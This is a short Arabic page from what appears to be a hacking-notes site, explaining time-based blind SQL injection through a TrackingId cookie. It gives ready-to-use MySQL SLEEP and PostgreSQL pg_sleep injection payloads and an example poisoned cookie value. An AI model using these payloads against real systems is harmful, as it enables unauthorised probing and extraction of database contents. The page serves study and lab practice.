> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/time-based-blind-sql-injection.md).
# حقن SQL أعمى معتمد على الزمن
### حقن SQL أعمى مع تأخيرات زمنية
**الخلفية:** قيمة الـ `TrackingId` يتم إدراج ملف تعريف الارتباط في طلب SQL منفَّذ **بشكل متزامن**. لا تشير استجابة HTTP مباشرةً إلى نتيجة الاستعلام، لكن يمكننا أن نُحدث **زمنًا مشروطًا** (sleep) لاستخلاص معلومات (حقن SQL أعمى قائم على الزمن).
#### الحمولات المقدمة (لتوضع بعد الجزء الشرعي من ملف تعريف الارتباط، مثلًا `TrackingId=' -- -`)
* **MySQL** :
```
' AND SLEEP(10)-- -
```
* **PostgreSQL** :
```
' || pg_sleep(10)-- -
```
> مثال ملموس (ملف تعريف الارتباط):/ `TrackingId=abc123' AND SLEEP(10)-- -` (MySQL)
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